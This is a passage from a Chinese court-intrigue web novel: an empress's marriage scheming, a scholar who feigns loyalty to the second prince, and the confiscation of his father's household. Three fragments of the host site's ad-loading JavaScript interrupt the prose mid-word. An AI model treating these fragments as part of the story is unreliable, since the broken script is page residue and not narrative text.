她认为顾淮来求是低声下气,却忘了当日是自己听了顾淮的提议心动。更何况,顾淮明确了要低调行事,摆明了不想与她们在明面上牵扯上关系,既是李淑宜颠颠儿凑过来,那就别怪他不给情面。 李淑宜哭得涕泪横流,却哼唧得皇后心烦,她看着自己烂泥扶不上墙的女儿,心里顿时升腾起一股无名之火。 “你也是,琴也不会、棋也不行。叫你去读书涨点学问,好说歹说给你塞到左相那,没有两天,便被人退了回来。”皇后狠狠指着她的额头,“人柳安予能学得,你怎么就学不得?” 李淑宜听完更加委屈,咬着下唇,死死捏住帕子,眼泪在眼眶里打转不敢落下,心里却愈发厌恶柳安予。 “你年纪渐长,不抓紧选婿,万一边疆突然出了什么事送你去和亲,那蛮夷之地苦寒无比,你叫额娘怎么办?!”皇后心里还是疼爱她,一副恨铁不成钢的样子,说着说着便担忧起来。 “不要,不要!”李淑宜抓住皇后的衣袖,眼泪一滴接着一滴地从脸颊上滑落,“呜呜额娘,我不要去和亲,我不要......” 她见过和亲的下场。前些年永昌和南蛮有点冲突,皇帝为避免战乱,将三公主送了过去。 出宫那日三公主哭得撕心裂肺,前面骑在高头大马上的蛮子便是她的夫婿。李淑宜躲在皇后身后偷看了一眼,只见到那人眼神凶狠,皮肤黝黑粗糙,像是一拳就能把她揍死的样子,直接将李淑宜吓哭了。 再想起那个人,李淑宜心中不住地害怕,便也哭得有几分真情实感,皇后听着心疼,便也没再继续说下去。 “好了好了,哭哭啼啼成什么样子。”皇后忍不住怜惜,拿出帕子为她擦干眼泪,语气却严厉地说道:“明个母后叫小厨煲个汤,你就说是你做的,给顾淮拎过去,道个歉,柔情小意一点,男人都吃这套。” “为什么?!”李淑宜瞪大眼睛不明白,“他如此待我,让我在那么多人面前难堪,我竟还要去给他道歉?” 皇后却思虑得远,“你不能这么看。”她微微蹙眉,“满京城,如今炙手可热的驸马人选,唯有前三甲。只是状元、榜眼,多抱负远大,一旦招为驸马便不可任实职,自然不会乐意。” “若是不愿,强招为驸马,你婚后的日子也不会好过。更何况,你父皇现在削了左相一派,正愁用人,必也不会轻易答应给你赐婚。”皇后给她耐心解释,眸中尽是算计,“但顾淮就不一样了,他虽身为探花,却是罪臣之子,又担个左相爱徒的名号。” “你父皇不会轻易用他,若是能将他赐婚给公主,让他这辈子都不能任实职,那左相的手,不就再伸不进朝堂了吗?你父皇高兴还来不及。”皇后喜上眉梢。 李淑宜撇撇嘴,抽泣着嫌弃,“可他说到底,不也是个罪臣之子,怎么配得上我?还非要我去讨好他......我不乐意。”她生气地转过身去。 “你这孩子!”皇后咬牙切齿,“他父亲才多大一个官儿?母后翻翻手的事情罢了,你们一结亲,母后便找人捞他父亲出狱,既没了罪臣之子的帽子,又能阖家团圆,他如何不感激你?” 皇后好声好气地哄着她,软硬兼施,“届时,他必将对你百依百顺,又生得一个好皮囊,怎么?你难道想同三公主一样,嫁个凶神恶煞、丑绝人寰的?”皇后的话着实吓到李淑宜了,她立马噤了声,眨着无辜委屈的眸子。 皇后见她不说话,便也知道她听进去了,叫人给她备了银丝燕窝油糕,用吃食将人安抚好。 她半倚在软榻上,看着李淑宜小声抽泣,噙着泪珠一小口一小口地吃着糕点,不由得叹了一口气。 指腹揉了揉疼痛的太阳穴,皇后蹙眉思忖着。 她虽说让李淑宜不要计较,但顾淮公然下她们的面子,皇后自是咽不下这口气,得想个法子,好好警告一番。 她目光漂移,突然落在了李淑宜身上。 眸底闪过一丝精光。 她突然笑得慈祥起来,李淑宜不适应地看她,心里发毛。 “淑宜,想不想出这口恶气?”皇后挑眉问道。 李淑宜谨小慎微地凑过来,听得眸子亮了亮,“当然想!母后,你有什么法子?” “附耳过来。”皇后冲她招了招手,眸子幽幽冷光,二人耳语片刻分离。李淑宜眸中惊恐,紧张地捏住手指,“母、母后,若是被发现了......” “你就不会谨慎一点,不叫旁人发现?”皇后蹙眉训道。 李淑宜不敢再多言,心里却忍不住打怵。 “正巧,他不是许诺了,会替你答五月末女官考核的题吗?你势必要压过柳安予,若这也赢不过,便也不要回来见我。”皇后严词厉色。 “是。”李淑宜只得压下心中惶恐,乖巧应下。 * “好了,今日便讲到这,二位皇子下学罢。”方信收好书卷,神色冷冷地说道。 “先生辛苦。”二皇子李琰和七皇子李玮起身拱手,合声礼貌地说道。 李琰容貌昳丽,为人谨慎,他生母乃得宠贵妃琪氏,琪氏虽嚣张跋扈,却有分寸,对这个唯一的孩子很是看重,花了大心思才将人塞到翰林学士方信这里。 李玮则是皇贵妃何氏老来得子,何氏年岁渐高,便也无心争宠,一门心思扑在李玮身上。何氏母族势力颇大,便给足了李玮底气,却也没骄纵成性,给孩子养得略微富态了些,性子干脆圆滑,走到哪都是一副笑眯眯的样子,很是讨喜。 “先生,额娘今日给我带了一小罐子酸果脯,这是额娘亲手做的,说是给您和师母尝尝。”李玮笑眯眯地抱着罐子过来。 果 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 脯虽小,重的却是心意。是不是皇贵妃亲手制的不重要,李玮既说它是,那它便是,方信恭恭敬敬地接过,拱手道:“那便多谢皇贵妃了,你看这,回回有好东西都想着微臣。正巧,家里那口子遇了喜,就好吃点酸的,微臣这些日子四处给找呢。” “哎呀,那恭喜恭喜。”李玮连忙说道:“这我才知道,过会子我叫人去太医院请两个太医,到府上好好给师母看看,开些安胎养神的食补才好,也算是我的一点心意。” “这多不好......哎,那便谢过七殿下了。”方信捋了捋胡须,连忙感谢道。 李琰不甘示弱,连忙插话,“当年额娘生我时,父皇赐了一瓶上好的安胎丸,是传国的方子。每日取上一丸,和水服下,孕时呕吐恶心都好些,孩子也安分。” “额娘昨日还念叨,说要我将剩的半瓶子给师母拿来,今日来得急倒忘了,下学我回去亲自取来给您送去。”李琰笑了笑,白玉般的面庞,却叫人莫名感觉阴恻恻的。 方信这边也谢了个遍,刚要走出门去,却意外见到一人。 “方学士。” 门口处,顾淮一身纯白儒衫,恭敬拱手行礼,薄阳透过树枝照出斑驳光影落在他身上。 “呦,这可是稀客。”方信嘲讽似地牵牵嘴角,脸色瞬间变得精彩,左相可没少在他面前炫耀这个爱徒。 顾淮手中团着一个绒垫似的东西,却比绒垫厚实不少,他看起来有些局促,如玉似的指节抓紧怀中绒垫。 方信缓缓走了下来,在顾淮面前站直,语气玩味抬眉,“无事不登三宝殿,顾探花,这是找我何事?” “听闻,学士夫人遇了喜,我便回家问了母亲,母亲说遇了喜的妇人,夜里会时常腰酸背痛。她便为学士夫人新做了个厚绒垫,躺下时垫在腰下,会缓解不少。”顾淮看起来十分真诚,娓娓道来,“里面还有个小夹层,若是天气冷些了,塞个暖袋进去,温着后腰,便也不会过于难受。” 夫人近日是叫着自己腰疼,方信低头看了看顾淮手上,对这份礼物着实可心,可是...... 他怀疑着挑起眉毛,“怎么?左相禁了足,无人可教你,你便这么快就倒戈了?” 顾淮看起来很纠结,他垂眸眼中闪过挣扎,捏着绒垫的手忍不住收紧。 “学士......我也是,走投无路......”他言辞恳切,“我前些日子在文德殿外冲动行事,已被皇上厌弃,如今......已无人可依,学士,学士您能不能收了我?”顾淮递出绒垫苦苦哀求。 “我以后跟您学。”顾淮话音未落,手上绒垫便被方信掀翻。 方信冷哼一声,道:“哼,顾探花还是请回罢,我是不会教左相那老狗的‘爱徒’的,你死了这条心!” 言罢,不等顾淮说话,方信便气势汹汹地离开。 李琰冷笑看着眼前的顾淮,蔑视地瞥了一眼也跟着离开了。 “哎你说说。”李玮好心捡起绒垫,拍了拍上面的尘土,递给顾淮安慰道:“唉,先生他就这个脾气,你别往心里去......” 9. 09 知春亭 “不,是微臣无用。”顾淮看起来失魂落魄,垂睫喃喃道。 “唉。”李玮长叹一口气。 他知道顾淮的能力,看着曾经的天之骄子如今连个能教的先生都没有,他心里也不是滋味,不由得起了惜才之心。 照顾着顾淮的情绪,李玮字斟句酌后开口,“这样,你拿绒垫跟我换。” 顾淮疑惑地抬眸,“您要这绒垫作甚?” “这你就别管了,你将绒垫给我,我给你指条明路。”李玮卖着关子。 顾淮连忙将绒垫呈上,毕恭毕敬地说话,“七殿下,您说。” 李玮将垫子团好夹在胳膊下面,对他附耳言说一番。 “二殿下的伴读?”顾淮讶异。 “正是。”李玮笑了笑,谈笑自若道:“我学问不比二皇兄,带个伴读没什么用处。” 他摸了摸下巴,“倒是二皇兄,他物色伴读有一段日子了。他原先那个伴读得了重病,据说,昨个埋了。这位置空出来,你不刚好顶上?” “微臣......微臣能行吗?”顾淮的眉微微蹙起,“二殿下他......看起来也不太得意微臣。” 李玮拍拍他的肩膀,不在意地说道:“哎呀,这有什么,你的才能在那摆着呢。” “这样。”李玮从书袋里掏来掏去,找了好半天眸子突然一亮,拿出一张皱皱巴巴的宣纸。 李玮不好意思地将纸捋了捋,这才递给顾淮,“这个是我昨日向他借的课业,你替我还回去,这不就能借口见到他了吗?” 他犹豫了一下,又补了一句,“我能帮你的便到这了,剩下的,就得看你自己的造化。” 顾淮捏着那张纸,拱手感激不尽,“七殿下恩德,微臣无以为报,日后殿下若是有用得到微臣的,尽管吩咐。” 李玮拍拍他的肩膀,“这就见外了,我这不是跟你换的吗?”李玮笑笑,举了举手上的绒垫,“你且去罢。” 顾淮又郑重拱了拱手,拿着课业赶紧转身追去。 李玮看着他的背影渐渐消失在视线里,这才抱着书袋慢吞吞离开。 过了一炷香,日头下去,顾淮又出现在门口。 “公子,他果然往怡红院去了。”柏青低声禀报。 顾淮看着手中的课业,沉默不语。 李玮一直有爱妻之名,殊不知他在外面养了三年妓子,如今那妓子已有身孕,便死死缠住李玮。 不知那妓子用了什么手段,让李玮宁愿顶着爱妻之名被毁的风险,也要养着她腹中的孩子。 月份一大,此事必定暴露。 李玮正妻乃怀平侯之女,李玮若想善了此事,要么,去母留子。就说是正妻有孕,将人藏个几月,孩子出生后记在正妻名下,将那娼妓处置了,以表衷心。 要么,给那妓子改头换面,换个身份,接到家里当个姨娘,恭恭敬敬地待着主母,倒也能算安分。 可若要闹大了...... 顾淮顿了顿,将手中的课业捋平折好,揣进怀里。 他自是知道,不会轻易从方信那取得广兰花,他此行的目的,自然也不会是冲着方信来的。 确定了李玮的消息属实,接下来,就要去二皇子府走一趟了。 辘辘的马车声响起,李琰刚从方信那回来,下了马车,展展袍子。 这两日晴,路上的车辙印已干,日光透绿叶,空气中逸散着花香,李琰大步流星,临至门口时步子一顿,只见一人在树下撑伞,花瓣洋洋洒洒落满伞面。 顾淮伞一倾,花瓣飘落飞了满地。 李琰先是沉默,而后挥挥手让人开门,神情戏谑。 “......站很久了?” “倒也没有。”顾淮躲在伞下的阴影里,探出步子走过来,见李琰顿在门口,不由得微微一笑,“二殿下,不让微臣进去吗?” “我府中,不收留无用之人。”李琰语焉不详,他抬眉看向顾淮,倒也没赶他走,静静等着他的下文。 “微臣是来送东西的,七殿下昨日借了您的课业,您忘了?”顾淮眉梢轻佻,语调拉长。 李琰眉头微皱,好像是想起来了此事,伸出手,却见顾淮半天没动作,便疑惑地看向他,“你倒是给我啊。” “还不急,微臣还得在二殿下这儿谋个差事。”他模样斯文坦然,慢条斯理地说话,走过去自顾自地进了门。 “哎,让你进了吗你——”李琰不耐烦地叫他。 顾淮顿时驻足,转过身打量了一番他,看得李琰后退一步,心里发毛。 李琰眉头紧皱不知道顾淮要干些什么,只见顾淮唇角弧度加深,悠悠道:“二殿下明日不是还要抄微臣的家吗?可没问过微臣要不要让殿下进......” 明明是春日正阳晴,李琰却好似入秋着风,脊背冒出寒气。 他眼神一冷,目露凶光,迈着重重的步子走到顾淮跟前,阴着脸咬牙道:“快进。” * “你胆子倒大,既是知道了我想干什么,还敢只身前来。”李琰屏退下人,只剩两三个亲信把手书房,落于上座,冷眼看向顾淮,“到底是谁给你的底气?让你这么有恃无恐。” “微臣不是有恃无恐。”顾淮迎上他的眸子,笑得人畜无害,缓缓道:“微臣已经什么都没有了,穷途末路之际,自然无所畏惧。” 李琰沉默,挥挥手叫人奉上茶。 顾淮拱手落座,指腹摩挲茶壁却没有喝。 “家父下狱一事,是殿下的手笔罢。”顾淮语气肯定。 “是又如何?”李琰看起来气定神闲,来回摩挲杯子的手却暴露了他此时的慌乱。 他明明做得天衣无缝,顾淮是如何得知的? 李琰不动声色打量着顾淮,不受掌控的感觉让他开始烦躁起来。 “你是如何得知的?”李琰忍不住问他。 如何得知的?顾淮默了默,他想起了落水那晚。 两人作完约定,柳安予便冷得打了个喷嚏,她待不住了,匆匆裹着绒毯离开。 “你等我啊。”柳安予样子认真,拧了拧鼻子。 顾淮本以为她会换了衣裳再来,不成想柳安予一路小跑回去,又一路跑过来,捧了件厚斗篷扔给他。 “你穿好。”柳安予半张脸埋在绒毯里面,声音闷闷的。 “哦,好!”顾淮怔愣一瞬,手忙脚乱套上斗篷,柳安予伸出手,轻轻拨开顾淮额上的碎发拢开。 两人对视,只听柳安予音色冷淡,“顾明忱下狱那天,我在大理寺门口见到了沈忠。” “沈忠?”顾淮疑惑,“刑部侍郎?” 顾淮不明白柳安予为何突然提到这个,他看向柳安予的眸子,等着她给自己解惑。 “贞宁十四年,他拜为郎中,二皇子赠他一名舞姬,如今,已成沈忠正妻。”柳安予轻描淡写地给顾淮解释,“他是二皇子的人。” 顾淮瞳孔骤缩,呼吸不自觉加快。 只听柳安予声音淡漠,“昨日,沈忠递了折子,自请后日查抄顾家。” ......良久的沉默之后,顾淮“嗯”了一声,柳安予再无留恋,转身离去,只留他一人在知春亭落寞。 花也败了。 顾淮抽回思绪,抬头望向座上那人,李琰眼神森然,他让顾淮进门,不是因为惧怕他,而是对顾淮如何得知消息疑虑。 他疑心,他想知道是哪个环节出了问题,怕有人早早看出他的心思。 至于顾淮,不过是他计划中无足轻重的牺牲品。 只要他说完李琰想知道的东西,就会立即神不知鬼不觉地被人弄死。 所以顾淮勾唇,悠悠吐出四个字,“无可、奉告。” 李琰登时暴起,噼里啪啦地将茶杯砸在顾淮脚边,釉色瓷片碎了一地。 李琰指着顾淮的鼻子骂,“你算个什么东西,也敢在我面前放肆?能让你踏进府门在这端坐喝茶,已是我给你面子!”李琰抽出旁边侍卫的配剑,明晃晃的白刃架在顾淮脖颈。 顾淮静静受着,面色无异,他端起自己身旁的茶盏刮了刮茶沫,语声低沉悦耳,“二殿下,急什么?都说了,微臣是来谋差事的,总不至于,差事还没谋到就丢了性命,您说是吧?”顾淮端着茶杯抵在李琰的剑上,缓缓将剑推开,嘴角还噙着淡淡的笑。 笑里藏刀,李琰登时来了兴趣,将剑一扔,讽刺一笑,“你还有什么消息金贵?足够让你有资格在这跟我谈判。” 他慢悠悠散步走回座位,气定神闲地理了下袍子,好似刚才暴起失态的人不是他。 顾淮不急不徐地开口,“您动手削去左相一派,不就是怕左相势大成为大殿下党吗?”顾淮话锋一转,语焉不详,“可皇子中,不只是大殿下有威胁。也不是左相一派,都对大殿下看好。” “你说老七?”李琰蹙眉不解,眼眸深沉,“他有什么威胁?”李琰上下打量顾淮,“再者,你不是左相的‘爱徒’吗?怎么,要离经叛道了?” 顾淮放下茶杯,眸色幽深,他将李玮交给自己的“课业”拿出,走到李琰近前行礼呈上。 “这一篇课业里,讲的是元寿年间滁州匪患抢粮一案,您的应对之策。当时,朝上是派兵镇压之法,效果立竿见影,却使民怨 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 激愤,以致元寿二十三年,滁州百姓起义,险些打到京城。”顾淮闭口不答李琰问题,反倒是谈起了李琰的“课业”。 “如今江州匪患正猖,左相禁足,家父监察被诬下狱。”言至此处,顾淮不动声色地抬头看了一眼李琰,涌动的清晰被压在漆黑的眸底,他丝毫未顿,继续道:“有了前车之鉴,朝上对江州匪患一事闭口不谈,生怕惹了皇上震怒。” “可江州匪患如不控制,必定危害永昌社稷,皇上正是燃眉之际,此时,若有人能站出来......哪怕效果甚微,皇上也会另眼相待。”顾淮的意思,不言而喻。 “你是说,李玮要拿我的法子去讨父皇欢心?”李琰眉头紧皱,指尖无意识叩在膝上思索。 “微臣,不敢妄言,二殿下自有决断。”顾淮点到即止,微微俯身呈上“课业”。 李琰沉默片刻,优雅地从侍从那接过一盏新茶,懒洋洋地问道:“那你呢?你想做什么?” “天下熙熙,皆为利来;天下攘攘,皆为利往。”顾淮敛了神色,俯身声音沙哑,“微臣所求不多。微臣,想活。” 李琰不以为意,指着他说,“你这不是活得好好的的吗?” “微臣说的,不是如今这般,行尸走肉般活着。是依主的,有血有肉地活着。”他的话极具诱惑,只一句,便让李琰改了主意。 “笔墨抵金戈,喉舌胜鸩毒,成玉,愿为二殿下铸刀。” “好一个铸刀。”李琰眼中闪过一丝惊叹,抬头目光带着审视,“那你能为我,做些什么?” “先发制人,后发则制于人。二殿下......”顾淮娓娓道来。 李琰抬起眼睫,漆黑的双眸直勾勾盯着他,倏然放下茶杯哈哈大笑,“好啊,好啊,左相只授帝师,果真不错。” 他上前亲自将顾淮扶起来,眼神透露出满意,“顾探花,你可想好,自今日起,就和你前二十年老师日日夜夜的教诲,就此分明了。” 顾淮的眼中带着微不可察的隐忍,他虚虚握了握拳头,语气缓缓,轻描淡写地吐出一句大逆不道的话,“权谋之下,乾坤可倒。” “好,哈哈哈哈好!顾探花,且等一会儿,收了我伴读的文书再走罢!”李琰拍了拍他的肩膀,仰天大笑离去。 顾淮站在原地,沉眸良久。 * 窗外枝桠停驻一双麻雀,你侬我侬,叽叽喳喳叫个不停。柳安予执笔抄着经文,幌神一错,洇了一大块,不由得蹙起眉来。 青荷连忙关上窗,快步走到柳安予身边,将洇了的纸换掉,乖顺半跪在一旁磨墨。 “郡主,这都写了一上午了,仔细着眼睛疼。”青荷轻声细语道。 柳安予看着窗,放下笔闭目养神。青荷眼观鼻鼻观心,便也放下墨块,将砚屏移到砚台前面,起身搁帕子擦了擦手,稍用力为柳安予按着头。 柳安予的眉头终于舒展了些,不经意地问起,“他怎么样了?” “顾探花?”青荷想了想,“顾探花今日跟二殿下去上学了,听说,擢了伴读,方学士起初不大愿意来着,却拗不过二殿下,只能说是让顾探花站着听。这一讲便有好几个时辰,日日站着听,也够顾探花受着的了。” 柳安予听完才蹙眉,半睁着眸子,轻飘飘瞥了青荷一眼,“谁问他了?” ?青荷眨眨眼。 “欧欧,左相左大人啊。”青荷立即话锋一转,揶揄道:“吃嘛嘛香,身体倍棒儿!” “青荷。”柳安予无奈叫了一声她的名字。 青荷立即熄了气焰,规矩答话,“哎呀,您就放宽心,左大人待得好着呢,昨个还说让奴婢今日给他带卷书看,郡主,您说带哪本比较好啊?”她指腹稍稍用力,按得柳安予舒服地喟叹一声。 “......拿本《三字经》给他看得了,他怎么不叫他的好徒弟给他带?”柳安予闭目赌气道。 青荷笑意盈盈,故意顺着她说话,“那奴婢可就拿了。” “欸。”柳安予急忙叫住她,挥挥手,还是心软了,“算了,从我书房最中间的架子上,随便给他拿一本罢。” “是。”青荷微笑着点头应道。 过了一会儿,柳安予拍拍青荷,示意不必再按了。 “你去送罢,叫樱桃进来候着就行了。”柳安予静然而坐,侧容清隽,悬臂执笔吩咐道。 青荷俯身行礼离去,走到门口半撩珠帘,只听身后又来了一句。 “书院里,怎么还有体罚学生的呢?你帮我问问翰林院的张邈,到底是哪院堂上出的事?” “是。”青荷一愣,偷笑着应了一声。 10. 10 狸奴玉 顾明忱咬死不承认那些莫须有的罪行,刑部定不了罪,便将人移交到内务府。 抄家,验产。 刑部侍郎沈忠带着头,一路闯进来,日华升碧霄,明晃晃的日光照得刺眼,紧闭的大门被破开。 慎刑司主事乌甫阁紧跟其后,挥挥手,身后侍卫散兽一般冲出来,将顾府团团包围。 孩童被吓得哭闹起来,顾明忱正妻萧氏护着孩子,大声喊道:“你们干什么!还未定罪,你们——” “姑姑!”一声尖锐的哭喊自身后响起,只见一娇滴滴的女娘抱着妆奁跑出,哭得梨花带雨跪倒在萧氏身侧,“呜呜,姑姑,救我,救我!” 侍卫粗鲁上前抢夺,两人拉扯,旁边孩童吓得哇哇大哭。 “不要呜呜,我就这些首饰了,呜呜不要抢,不要抢我。” 侍卫唰得一下抽出佩剑,白刃锋利立即破开了小女娘的手指。 “给他潇潇!”萧氏连忙上前拦住,咬牙将她怀中妆奁推出去,“咱不要了啊咱不要了。”顾潇潇崩溃地拽住萧氏的衣袖,捶胸顿足地哭泣,“啊啊姑姑,姑姑。” “都是些身外之物!命重要潇潇,好了,好了好了......”萧氏胡乱拍着顾潇潇的背安慰,将旁边的小孩揽在怀中,警惕地看着内务府的侍卫。 “仔细着点搜,别落了东西,也别伤了家眷。”沈忠气定神闲地背着手,声调抬高叫众人都听个清楚。 “是,大人!”侍卫齐声一应。 乌甫阁掩了掩口鼻,不动声色地躲了哭喊的家眷一下,顿时想起什么,落袖搭话,“大人心怜着顾府,是他顾明忱的福气。” “哼。”沈忠冷笑一声,“若不是上头吩咐,哪用得到这么麻烦?” “上头吩咐?”乌甫阁眼观鼻鼻观心,眼睛滴溜溜一转不知在想些什么。人贵自知,知道太多,对他这个小小的慎刑司主事没什么好处,乌甫阁识趣没再追问。 他往前看了看,转开话头。 “大人过会子,直接回刑部?”乌甫阁侧头问道:“这院不大,约莫一会儿就能搜完,下官让人押回去记了册子,一完事儿,就来找您如何?” “什么事儿?”沈忠四处看了看,微微敛了神。 乌甫阁从袖中掏出一方粉帕,塞到沈忠手里,压低声音,“自然是有好东西,想给大人看看。” “不成不成,这算什么。”沈忠连忙推脱,眼神飘移观察着四周。 “欸。”沈忠拒绝得也不算果断,乌甫阁一推,又塞回他手中,“后街秫香馆,芙蓉姑娘献舞,一月才能见着两回啊,大人确定不去?” 眼见沈忠动摇,乌甫阁立马给递了台阶,摆出一副愁容满面的样子,“哎呀,实在是下官有事相求,那顾明忱入了内务府,是轻审还是重审,还得靠大人指点。” “不为芙蓉姑娘,就是体恤体恤下官,您也赏个脸如何?”乌甫阁低头凑近,敛衽抿笑,用仅两个人才能听见的声音道:“据说,还有上好的神仙醉,往烟枪上一放一点,那是舒筋活络,快活似神仙。”他挑眉暗示,“您不试试?” 沈忠这才将帕子折了折,塞进袖中,拍了拍乌甫阁的肩膀,眼中闪过一丝精明,“欸,都是人手底下做事的,哪有什么体恤不体恤,互相帮衬着罢了。” “我回了刑部,一刻钟,便到秫香馆找你如何?”沈忠道。 两人顿了顿,相视一笑。 这边唠着嗑,那边就将完事儿了。 内务府的人如劫匪一般,将顾府洗劫一空,这边乌甫阁还装腔作势,合袖朗声道:“皇上体恤,准顾明忱通匪一事了结之后,再行处置顾家家眷,这府就不封了,诸位好生住着。” “天杀的!你们家都抄了,剩一个空壳子哪里还能唔!唔唔!”顾潇潇的嘴被萧氏连忙捂住,萧氏眸色微微一暗,深呼吸一口气低头谢恩,“妾等,谢主隆恩。” “我等,谢主隆恩。”身后家眷连着跪了一地。 待抄家的人走了,萧氏才放开捂住顾潇潇的手,顾潇潇立马弹起来在院中大骂内务府,骂着骂着,便委屈地哭起来。 萧氏无奈将她搂在怀中,拍着她的后背安慰。 “夫人,夫人。”门口鬼鬼祟祟探出一个头。 “谁?”萧氏警觉。 “是我,柏青啊,夫人。”柏青观察了一下周围,这才快步走了进去,谨慎地关好府门。 “柏青!”萧氏连忙走过去,眸中满是不可置信,她嘴唇颤抖,“......成玉他,可还好?” “好,好着呢。”柏青将怀中捂着的小袋子掏出,眼眶泛红,“这是公子让我带的,这段日子,就只能苦了家里人......您放心,公子在想法子了。” 萧氏打开小袋子,只见里面一叠厚厚的银票,不由得噙着泪,“你告诉他,我们一切都好,叫他安心忙自己的事罢。”萧氏忍泪哽咽起来。 “柏青!”顾潇潇跑了过来,提着裙摆气势汹汹叫他,“表哥他什么时候回?府里的日子,我是一天也待不下去了,呜呜。”顾潇潇抹泪道。 “快了,快了,公子在查了。”柏青连忙道。 知道柏青应付不来顾潇潇,萧氏转过身拭去眼泪,稳住情绪,转过来打圆场,“行了柏青,你快回去罢。”她拉住还想再说些什么的顾潇潇,“来,潇潇,陪姑姑理一理院子。” “欸!”顾潇潇的话戛然又止,不甘心地一步三回头看着柏青。 柏青连忙戴上帷帽离开。 对面,酒楼隔间上。 风透过阁窗吹起柳安予的发丝,一只慵懒白猫眯起眼睛,趴在她怀中舔毛。 柳安予的手捋过白猫的绒毛,从它的头顶一直顺到尾巴,白猫舒服到发出咕噜噜的声音,亲昵地蹭蹭她的掌心。 顾淮坐在她的对面,眸子一刻不错地盯着顾府。 直等柏青转了一圈出来,匆匆忙忙过来复命。 “公子,都安排妥当了。”柏青一进来看见柳安予,顿了一瞬,匆匆行礼站到顾淮身边。 柳安予头都没抬。 “嗯。”顾淮轻轻一应,看着顾府紧闭的大门出神。 见谁都不搭理他,柏青尴尬地蹭了蹭鼻尖。 “别看了,二皇子提前跟沈忠打了招呼,不会出什么岔子。”柳安予挠了挠小猫的下巴。 “关心则乱,今日我算是体会到了。”顾淮无奈收回目光,摇了摇头,看向柳安予逗弄小猫的指尖,心底柔软。 他的眸子渐渐温和起来,斟酌地开口。 “你,会不会怪我?” 撸猫的手一顿,“怪你?”柳安予抬起头,莫名觉得有些好笑,“为什 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 么要怪你?” 顾淮张了张口不知说些什么,柳安予突然就意会了,她低头倏然一笑,语气揶揄道:“你怕我会怪你,辱没了先生?” 顾淮没出声,却闭嘴将话咽了下去,看向柳安予,意思不言而喻。 小猫被顺毛顺得正舒服,感受到柳安予停了手,睁开蔚蓝色的眼睛起身喵喵叫,讨好地舔了舔柳安予的手。 青荷适时俯身斟茶,汩汩的茶水将杯子注满,柏青此时也意识到不对,躬身想要为自家公子也斟一杯,却发现青荷顺手已经斟好了,双手奉到了顾淮面前。 柏青犹豫几下,悻悻收回手站直。 阁楼内的光色暖而亮堂,四目相对,柳安予看似轻描淡写,却一瞬间按住躁动的小猫,小猫萌萌的大眼睛看了看,也不敢再乱叫。 顾淮注意到柳安予的手。她用右手小指和大拇指卡住它的左右前爪,剩下三指卡住它的脖颈,另一只手垫在它的肩胛骨下,牢牢将小猫禁锢在自己手中,却并不会让小猫感到不适,既强硬,又温柔。 “你与先生不同。”柳安予的睫毛垂下,将眼尾稍稍拉长,阴影扫在她眼睛下面,微微颤抖,“先生可忍,是身上辱、身外名,可他绝不会折了他的傲骨。你如今认了方信做师,屈于李琰身侧做刃......顾成玉,人折了骨,可就再难塑了。” “我不怪你,父母双亲恩师挚友......”柳安予顿了顿,转开眸子,“还轮不到我来怪你。” 顾淮也不知再说些什么了。 他敛眸看着茶杯里的漩儿悠悠地转,伸出手端起,轻啜了一口。 柳安予言至于此,松开对小猫的禁锢,安慰似地继续顺着它的毛。 两人闲坐着,一个人喝茶,一个人撸猫。 没人再出声了。 今年新茶香气浓,清爽适口,不一会儿便见了底,青荷俯身拎起茶壶,“奴婢再去泡一壶。” “不必了。”顾淮叫住她,眸子却看向柳安予,“我该回去了。” “嗯。”柳安予淡淡启口,“带一些走罢,放我这儿,我又喝不完。” 青荷退出去拿。顾淮谢恩,拾好自己的东西,敛衽和柏青站在一处。 小猫慵懒地伸个懒腰,爪子勾住了柳安予袍子上的金线,柳安予好脾气地没有恼,等它伸完懒腰捏了捏它的腮肉,不由得勾出一抹浅笑。 顾淮看着,没忍住开口,“它叫什么名?还怪粘人的。” 柳安予神色一顿,指尖轻轻拂过小猫的耳朵,“糖糕儿。”小猫没有动弹。 “糖糕儿?”顾淮怔忪一瞬,没想到柳安予会起这么可爱的名字,不由得笑了笑,“倒挺贴切。”青荷正巧走进,将包好的茶叶递给柏青。 顾淮拱手行礼,“微臣拜别郡主。” “去罢。”柳安予头也不抬。 直等人走了,青荷拾掇完小案,轻声道:“郡主,我们也回罢。” 柳安予将猫递给青荷,起身扑了扑身上的猫毛。 “走喽,玉玉——”青荷稀罕地点了点小猫湿润的鼻尖。 喵~小猫叫了一声,乖巧地趴在青荷怀里。 “回去了,青荷。”柳安予敛眸,先提着裙摆迈出去,没头没尾地留下一句,“七皇子最近盯得紧点,要出事了。” “是。”青荷一应。 11. 11 狸奴玉 “我送你的狸奴,你可收到了?”一晨早,李璟便来知春亭叨扰,怀中捧着好几卷书,坐到她的对面。 柳安予朋友不多,若说要算,只李璟尚算一个。这亭子少有人来,除了青荷每日亲自来侍弄侍弄花草,旁人是断不敢进来扰柳安予清净的。如此一算,便也只有李璟来得尚勤。 李璟眸中带着希冀。 近了瞧看,柳安予正读着一本《贞宁通史》,读到趣处,还会拿笔勾勾画画写一些蝇头小楷作注解,表情认真。 李璟突然冒出来,吓了柳安予一跳,笔尖一错划了个长道子。 抬头再一看他,便也目移心虚起来。 柳安予无奈搁下笔,“明知故问。”她记好页数,将一片干叶夹在书中作签,“你送来时,不是对小侍千叮咛万嘱咐过了吗?非要见我亲自收了才罢休。青荷去接都不肯,去小室里唤了我出来,才肯给过狸奴。” “那小侍怎么这样!我也只是谨慎......”李璟脸上顿时火烧一般,声音渐渐低了下去,“我怕你,不喜欢。” 柳安予又无奈摇摇头,伸手给李璟倒了杯茶。李璟受宠若惊地接过,两只手捧着杯壁,像捧着一块烫手山芋。他抬眸偷看了一眼她的神色,又飞快低下头去轻啜。 李璟小心翼翼的动作落在柳安予眼里,莫名戳中了她的笑点,偏过头去无声地笑了笑,肩膀耸动。 记忆中,柳安予很少表情这么多。 李璟偷偷看着柳安予的侧颜,她唇角漾着笑,平日如霜雪般矜贵不可接近的脸,像是抖落雪粒后清新脱俗的梅,令他心神荡漾。 柳安予唇边的笑意渐渐淡了下去,她看向低头轻啜的李璟,不由得生出些疑惑。 “怎么总感觉,你怕我?” 